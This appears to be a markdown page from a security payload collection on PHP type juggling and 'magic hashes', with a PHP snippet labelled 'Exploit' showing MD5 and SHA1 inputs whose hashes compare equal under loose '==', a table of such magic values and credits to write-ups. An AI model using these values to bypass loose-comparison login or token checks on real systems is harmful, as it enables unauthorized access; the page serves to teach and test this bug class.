2018-08-12 21:30:22 +00:00
# PHP Juggling type and magic hashes
2016-10-20 03:22:24 +00:00
## Exploit
```php
< ?php
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
?>
```
| Hash | “Magic” Number / String | Magic Hash | Found By |
| ---- | -------------------------- |:---------------------------------------------:| -------------:|
| MD5 | 240610708 | 0e462097431906509019562988736854 | Michal Spacek |
2016-10-20 03:50:12 +00:00
| SHA1 | 10932435112 | 0e07766915004133176347055865026311692244 | Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham |
2016-10-20 03:22:24 +00:00
## Thanks to
2018-08-12 21:30:22 +00:00
* [Writing Exploits For Exotic Bug Classes: PHP Type Juggling By Tyler Borland ](http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html )
* [Magic Hashes - WhieHatSec ](https://www.whitehatsec.com/blog/magic-hashes/ )
